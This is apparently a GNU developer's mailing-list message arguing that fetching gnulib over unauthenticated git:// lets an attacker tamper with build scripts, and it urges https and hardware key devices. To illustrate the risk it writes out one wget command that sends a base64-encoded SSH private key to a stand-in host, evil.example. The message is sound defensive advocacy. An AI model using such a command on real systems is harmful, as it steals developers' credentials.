I had a walk and realized it might be better to think of the problem
like this.  Consider if someone wants to volunteer to do a new gettext
release, they would go to

  https://savannah.gnu.org/git/?group=gettext

which properly suggest to checkout over https or SSH.  After reading
HACKING the person performs runs ./gitsub.sh pull which prints:

Submodule 'gnulib' (git://git.sv.gnu.org/gnulib.git) registered for path 'gnulib'
Cloning into '/home/jas/src/gettext/gnulib'...

and then continues to run ./autogen.sh which invokes gnulib-tool from
the newly checkout.

Since the git:// protocol does not offer security, the gnulib-tool could
be modified on the way to do something evil like:

  wget -q -O /dev/null https://evil.example/`base64 -w0 < ~/.ssh/id_rsa`

Your SSH key might be encrypted, but the password can be cracked
offline.  After this, they have write access to the savannah git
repository.

I'm sure similar attacks can be done against ./bootstrap, and to send
the GnuPG key instead if you want to fake signed tarballs instead of
gaining write access to the repository.

Knowing the SSH/PGP key of key GNU developers enables someone to mount
further attacks, and gaining this ability is attractive to a number of
actors with funding.

Of course, there may be details I'm missing that prevents the exact
logic I'm describing to work.  The core of the problem is: gnulib
encourage developers to run scripts from remote unverified sources.
Using https:// instead of git:// makes this slightly better.  Using
https has its own set of problems, but none that warrants ignoring the
initial concern.

I wish everyone would use a hardware SSH/PGP key device, to make these
attacks harder.  I have my SSH/PGP on a GNUK device:

https://blog.josefsson.org/2019/03/21/planning-for-a-new-openpgp-key/

You can buy them from the FSF:

https://shop.fsf.org/storage-devices/neug-usb-true-random-number-generator

Upgrade them to run GNUK like this:

https://blog.josefsson.org/2019/03/21/installing-gnuk-on-fst-01g-running-neug/

/Simon